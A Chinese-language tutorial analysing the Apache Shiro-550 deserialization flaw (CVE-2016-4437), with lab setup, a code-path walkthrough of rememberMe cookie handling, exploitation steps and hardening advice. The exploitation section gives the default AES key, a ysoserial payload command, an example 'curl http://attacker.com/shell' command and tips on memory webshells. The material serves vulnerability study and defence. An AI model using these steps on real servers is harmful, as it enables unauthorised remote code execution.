Shiro反序列化 逆向分析代码及漏洞利用
字数 4695 2025-11-08 10:04:01

Apache Shiro 反序列化漏洞 (Shiro-550) 深度分析与利用教学

一、 漏洞概述

漏洞编号: CVE-2016-4437,通常被称为 Shiro-550

漏洞影响:

  • 受影响版本: Apache Shiro <= 1.2.4
  • 漏洞本质: 由于加密密钥硬编码在框架源码中,攻击者可以伪造恶意的 rememberMe Cookie,触发Java反序列化漏洞,最终实现远程代码执行(RCE)。

核心原因:

  1. 硬编码密钥: Shiro 1.2.4及之前版本,用于加密rememberMe Cookie的AES密钥是默认的、公开的硬编码值:kPH+bIxk5D2deZiIxcaaaA== (Base64编码)。
  2. 危险的反序列化: Shiro在接收到rememberMe Cookie后,会先进行AES解密,然后直接将解密后的数据传递给 ObjectInputStream.readObject() 方法进行反序列化,没有任何安全过滤或白名单机制。

二、 环境搭建

所需组件:

  1. JDK: 1.8.0_65 (建议与漏洞环境保持一致)
  2. Web服务器: Apache Tomcat 8
  3. 漏洞应用: 使用一个包含Shiro 1.2.4的演示项目(例如P神提供的 shirodemo)。

搭建步骤:

  1. 获取项目: 克隆演示项目 https://github.com/phith0n/JavaThings/tree/master/shirodemo 并用IDEA打开。
  2. 配置Tomcat:
    • 在IDEA的 Settings / Build, Execution, Deployment / Application Servers 中添加Tomcat 8的路径。
    • 进入 Run/Debug Configurations,添加一个Tomcat Server本地配置。
    • Deployment 选项卡中,添加项目生成的Artifact(通常是war包)。
    • Server 选项卡中,将 URL 设置为 http://localhost:8080(注意不要加login.jsp)。
  3. 运行测试:
    • 启动Tomcat,访问应用。默认登录凭证为 root / secret
    • 抓包技巧: 如果Burp Suite无法抓取 localhost 的流量,可以使用本机IPv4地址(如 http://192.168.x.x:8080)进行访问。

三、 漏洞原理深入分析

3.1 攻击触发点 - RememberMe Cookie

当用户登录时勾选“记住我”,Shiro会在登录成功的HTTP响应头中设置一个 rememberMe Cookie。攻击者关注的正是这个Cookie。

  • 攻击者可以伪造一个恶意的 rememberMe Cookie,发送给服务端。
  • 服务端会自动对这个Cookie进行解密和反序列化处理。

3.2 服务端处理流程(逆向分析)

攻击流程的核心在于理解Shiro服务端如何处理 rememberMe Cookie。其调用栈如下:

  1. CookieRememberMeManager.getRememberedPrincipals(SubjectContext subjectContext)

    • 这是入口点,负责从HTTP请求中获取Cookie。
    • 关键代码:byte[] bytes = getRememberedSerializedIdentity(subjectContext);
  2. getRememberedSerializedIdentity(SubjectContext subjectContext)

    • 功能: 充当“海关”,提取并预处理Cookie。
    • 详细步骤:
      a. WebUtils.isHttp(...): 检查是否为HTTP请求。
      b. isIdentityRemoved(...): 检查身份是否已被标记为清除(如用户注销),防止无效操作。
      c. WebUtils.getHttpRequest(...): 获取HttpServletRequest对象。
      d. getCookie().readValue(...): 从请求头中读取 rememberMe Cookie的值。
      e. Base64.decode(...): 将Cookie值(Base64编码)解码成原始字节数组。解码前会调用 ensurePadding(base64) 来补全可能被浏览器截掉的 = 号。
    • 输出: 返回解码后的字节数组。
  3. AbstractRememberMeManager.convertBytesToPrincipals(byte[] bytes)

    • 这是最核心、最危险的方法。 它执行两个致命操作:
      a. byte[] decrypted = decrypt(bytes); // AES解密
      b. return deserialize(decrypted); // 反序列化
  4. 解密过程 decrypt(byte[] encrypted)

    • 算法: AES-128-CBC模式,PKCS5Padding填充。
    • 密钥: 通过 getDecryptionCipherKey() 获取。逆向追踪发现,该密钥在 AbstractRememberMeManager 中是一个硬编码的常量值。
    • 数据格式: 加密数据由 16字节的随机IV(初始化向量)实际的加密序列化数据 拼接而成:[IV][Ciphertext]
    • 加密流程伪代码:
      public byte[] encrypt(byte[] plaintext) {
          byte[] iv = generateInitializationVector(true);  // 生成16字节IV
          byte[] ciphertext = getCipherService().encrypt(plaintext, encryptionCipherKey, iv).getBytes();
          return ByteSource.Util.concat(iv, ciphertext).getBytes();  // 拼接IV+密文
      }
      
  5. 反序列化过程 deserialize(byte[] serialized)

    • 最终调用 DefaultSerializer.deserialize(byte[])
    • 致命代码: return new ObjectInputStream(bytes).readObject();
    • 漏洞根源: 这里直接调用了Java原生的 readObject() 方法。该方法会递归反序列化数据流中的对象,并自动执行该对象的 readObject() 方法。如果序列化数据包含恶意构造的链,就能执行任意代码。

3.3 加密过程(顺向分析)

登录时,Shiro如何生成Cookie?

  1. CookieRememberMeManager.onSuccessfulLogin() 开始。
  2. 调用 rememberIdentity(subject, token, info)
  3. 最终进入 AbstractRememberMeManager.convertPrincipalsToBytes(PrincipalCollection principals)
  4. 其内部流程是:serialize(principals) -> encrypt(serializedBytes)
  5. 加密过程与解密对称,使用相同的硬编码密钥,最后将结果进行Base64编码,设置为Cookie。

四、 漏洞利用(Shiro-550)

4.1 利用前提

  • 已知默认密钥 kPH+bIxk5D2deZiIxcaaaA==(或目标系统使用了其他弱密钥)。
  • 目标环境中存在可利用的第三方反序列化利用链(Gadget Chain)的JAR包,例如:
    • Commons-Collections (CC链,如CC5, CC6, CC7)
    • Commons-Beanutils (CB链)

4.2 利用步骤(以CC5链为例)

  1. 手工序列化恶意对象:

    • 使用 ysoserial 或类似工具,选择一条可用的链(如 CommonsCollections5)和要执行的命令(如 "curl http://attacker.com/shell" 或计算器 "calc"),生成恶意的序列化字节数组。
    • java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser
  2. 实现AES-CBC加密:

    • 使用Shiro相同的加密方式处理恶意序列化数据。
    • a. 读取 payload.ser 得到明文 plaintext
    • b. 生成一个16字节的随机IV。
    • c. 使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA==(解码后)和生成的IV,以AES-CBC模式加密 plaintext
    • d. 将IV和加密后的密文拼接:final_cipher = IV + ciphertext
  3. Base64编码:

    • final_cipher 进行Base64编码。
  4. 发起攻击:

    • 将编码后的字符串作为 rememberMe Cookie的值,在HTTP请求中发送给目标Shiro应用。

4.3 实战技巧

  1. 密钥爆破: 如果目标系统修改了默认密钥,可以使用工具(如ShiroAttack2, shiro-exploit)进行常见密钥的爆破。
  2. 无回显利用: 如果命令执行没有回显,可以使用DNSLog、HTTP请求外带等方式验证漏洞存在性。
  3. 内存马注入: 在更高阶的攻击中,可以利用反序列化漏洞向JVM中注入内存Webshell(如Tomcat Filter型内存马),实现持久化控制。

五、 Java安全机制与漏洞根源

  • Java序列化危险特性:
    • 任意类实例化: readObject() 可以实例化任意类路径下的对象。
    • 自动递归: 会递归地反序列化一个对象所引用的所有其他对象。
    • 魔术方法: 许多类有自己的 readObject()readResolve() 等方法,反序列化时会自动调用,为攻击者提供了执行点。
  • 反射: 利用链大量使用Java反射机制来动态调用危险方法,绕过直接代码调用限制。

六、 加固方案

  1. 升级Shiro: 立即升级到Shiro 1.2.5及以上版本。新版本要求开发者必须自行配置密钥,不再使用硬编码默认值。
  2. 自定义强密钥: 如果必须使用旧版,务必在配置中指定一个高强度的、保密的AES密钥。
    # shiro.ini
    securityManager.rememberMeManager.cipherKey = base64编码的强随机密钥
    
  3. 使用RememberMe白名单: 通过重写 AbstractRememberMeManagerdeserialize 方法,实现反序列化类的白名单过滤。这是最根本的解决方案。
  4. JVM层防护: 使用Java安全管理器(Security Manager)或第三方RASP(运行时应用自我保护)产品来限制危险操作,如执行命令、反射调用等。

七、 总结

Shiro-550漏洞是一个经典的“缺省不安全”案例。其分析过程涵盖了Web安全、密码学、Java虚拟机机制和软件工程等多个层面。真正的安全研究需要深入到字节码和JVM层面,理解每一行代码背后的实际行为。通过手动逆向分析加密解密流程,安全研究人员不仅能复现漏洞,更能举一反三,发现和防御同类问题。


参考资料:

  • Drunkbaby's Blog: "Java反序列化Shiro篇01-Shiro550流程分析"
  • Phith0n's shirodemo Project: https://github.com/phith0n/JavaThings/tree/master/shirodemo
Apache Shiro 反序列化漏洞 (Shiro-550) 深度分析与利用教学 一、 漏洞概述 漏洞编号: CVE-2016-4437,通常被称为 Shiro-550 。 漏洞影响: 受影响版本: Apache Shiro <= 1.2.4 漏洞本质: 由于加密密钥硬编码在框架源码中,攻击者可以伪造恶意的 rememberMe Cookie,触发Java反序列化漏洞,最终实现远程代码执行(RCE)。 核心原因: 硬编码密钥: Shiro 1.2.4及之前版本,用于加密 rememberMe Cookie的AES密钥是默认的、公开的硬编码值: kPH+bIxk5D2deZiIxcaaaA== (Base64编码)。 危险的反序列化: Shiro在接收到 rememberMe Cookie后,会先进行AES解密,然后直接将解密后的数据传递给 ObjectInputStream.readObject() 方法进行反序列化,没有任何安全过滤或白名单机制。 二、 环境搭建 所需组件: JDK: 1.8.0_ 65 (建议与漏洞环境保持一致) Web服务器: Apache Tomcat 8 漏洞应用: 使用一个包含Shiro 1.2.4的演示项目(例如P神提供的 shirodemo )。 搭建步骤: 获取项目: 克隆演示项目 https://github.com/phith0n/JavaThings/tree/master/shirodemo 并用IDEA打开。 配置Tomcat: 在IDEA的 Settings / Build, Execution, Deployment / Application Servers 中添加Tomcat 8的路径。 进入 Run/Debug Configurations ,添加一个Tomcat Server本地配置。 在 Deployment 选项卡中,添加项目生成的Artifact(通常是war包)。 在 Server 选项卡中,将 URL 设置为 http://localhost:8080 (注意不要加 login.jsp )。 运行测试: 启动Tomcat,访问应用。默认登录凭证为 root / secret 。 抓包技巧: 如果Burp Suite无法抓取 localhost 的流量,可以使用本机IPv4地址(如 http://192.168.x.x:8080 )进行访问。 三、 漏洞原理深入分析 3.1 攻击触发点 - RememberMe Cookie 当用户登录时勾选“记住我”,Shiro会在登录成功的HTTP响应头中设置一个 rememberMe Cookie。攻击者关注的正是这个Cookie。 攻击者可以伪造一个恶意的 rememberMe Cookie,发送给服务端。 服务端会自动对这个Cookie进行解密和反序列化处理。 3.2 服务端处理流程(逆向分析) 攻击流程的核心在于理解Shiro服务端如何处理 rememberMe Cookie。其调用栈如下: CookieRememberMeManager.getRememberedPrincipals(SubjectContext subjectContext) 这是入口点,负责从HTTP请求中获取Cookie。 关键代码: byte[] bytes = getRememberedSerializedIdentity(subjectContext); getRememberedSerializedIdentity(SubjectContext subjectContext) 功能: 充当“海关”,提取并预处理Cookie。 详细步骤: a. WebUtils.isHttp(...) : 检查是否为HTTP请求。 b. isIdentityRemoved(...) : 检查身份是否已被标记为清除(如用户注销),防止无效操作。 c. WebUtils.getHttpRequest(...) : 获取HttpServletRequest对象。 d. getCookie().readValue(...) : 从请求头中读取 rememberMe Cookie的值。 e. Base64.decode(...) : 将Cookie值(Base64编码)解码成原始字节数组。解码前会调用 ensurePadding(base64) 来补全可能被浏览器截掉的 = 号。 输出: 返回解码后的字节数组。 AbstractRememberMeManager.convertBytesToPrincipals(byte[] bytes) 这是最核心、最危险的方法。 它执行两个致命操作: a. byte[] decrypted = decrypt(bytes); // AES解密 b. return deserialize(decrypted); // 反序列化 解密过程 decrypt(byte[] encrypted) 算法: AES-128-CBC模式,PKCS5Padding填充。 密钥: 通过 getDecryptionCipherKey() 获取。 逆向追踪发现,该密钥在 AbstractRememberMeManager 中是一个硬编码的常量值。 数据格式: 加密数据由 16字节的随机IV(初始化向量) 和 实际的加密序列化数据 拼接而成: [IV][Ciphertext] 。 加密流程伪代码: 反序列化过程 deserialize(byte[] serialized) 最终调用 DefaultSerializer.deserialize(byte[]) 。 致命代码: return new ObjectInputStream(bytes).readObject(); 漏洞根源: 这里直接调用了Java原生的 readObject() 方法。该方法会递归反序列化数据流中的对象,并自动执行该对象的 readObject() 方法。如果序列化数据包含恶意构造的链,就能执行任意代码。 3.3 加密过程(顺向分析) 登录时,Shiro如何生成Cookie? 从 CookieRememberMeManager.onSuccessfulLogin() 开始。 调用 rememberIdentity(subject, token, info) 。 最终进入 AbstractRememberMeManager.convertPrincipalsToBytes(PrincipalCollection principals) 。 其内部流程是: serialize(principals) -> encrypt(serializedBytes) 。 加密过程与解密对称,使用相同的硬编码密钥,最后将结果进行Base64编码,设置为Cookie。 四、 漏洞利用(Shiro-550) 4.1 利用前提 已知默认密钥 kPH+bIxk5D2deZiIxcaaaA== (或目标系统使用了其他弱密钥)。 目标环境中存在可利用的第三方反序列化利用链(Gadget Chain)的JAR包,例如: Commons-Collections (CC链,如CC5, CC6, CC7) Commons-Beanutils (CB链) 4.2 利用步骤(以CC5链为例) 手工序列化恶意对象: 使用 ysoserial 或类似工具,选择一条可用的链(如 CommonsCollections5 )和要执行的命令(如 "curl http://attacker.com/shell" 或计算器 "calc" ),生成恶意的序列化字节数组。 java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser 实现AES-CBC加密: 使用Shiro相同的加密方式处理恶意序列化数据。 a. 读取 payload.ser 得到明文 plaintext 。 b. 生成一个16字节的随机IV。 c. 使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== (解码后)和生成的IV,以AES-CBC模式加密 plaintext 。 d. 将IV和加密后的密文拼接: final_cipher = IV + ciphertext 。 Base64编码: 将 final_cipher 进行Base64编码。 发起攻击: 将编码后的字符串作为 rememberMe Cookie的值,在HTTP请求中发送给目标Shiro应用。 4.3 实战技巧 密钥爆破: 如果目标系统修改了默认密钥,可以使用工具(如ShiroAttack2, shiro-exploit)进行常见密钥的爆破。 无回显利用: 如果命令执行没有回显,可以使用DNSLog、HTTP请求外带等方式验证漏洞存在性。 内存马注入: 在更高阶的攻击中,可以利用反序列化漏洞向JVM中注入内存Webshell(如Tomcat Filter型内存马),实现持久化控制。 五、 Java安全机制与漏洞根源 Java序列化危险特性: 任意类实例化: readObject() 可以实例化任意类路径下的对象。 自动递归: 会递归地反序列化一个对象所引用的所有其他对象。 魔术方法: 许多类有自己的 readObject() 、 readResolve() 等方法,反序列化时会自动调用,为攻击者提供了执行点。 反射: 利用链大量使用Java反射机制来动态调用危险方法,绕过直接代码调用限制。 六、 加固方案 升级Shiro: 立即升级到Shiro 1.2.5及以上版本。新版本要求开发者必须自行配置密钥,不再使用硬编码默认值。 自定义强密钥: 如果必须使用旧版,务必在配置中指定一个高强度的、保密的AES密钥。 使用RememberMe白名单: 通过重写 AbstractRememberMeManager 的 deserialize 方法,实现反序列化类的白名单过滤。这是最根本的解决方案。 JVM层防护: 使用Java安全管理器(Security Manager)或第三方RASP(运行时应用自我保护)产品来限制危险操作,如执行命令、反射调用等。 七、 总结 Shiro-550漏洞是一个经典的“缺省不安全”案例。其分析过程涵盖了Web安全、密码学、Java虚拟机机制和软件工程等多个层面。真正的安全研究需要深入到字节码和JVM层面,理解每一行代码背后的实际行为。通过手动逆向分析加密解密流程,安全研究人员不仅能复现漏洞,更能举一反三,发现和防御同类问题。 参考资料: Drunkbaby's Blog: "Java反序列化Shiro篇01-Shiro550流程分析" Phith0n's shirodemo Project: https://github.com/phith0n/JavaThings/tree/master/shirodemo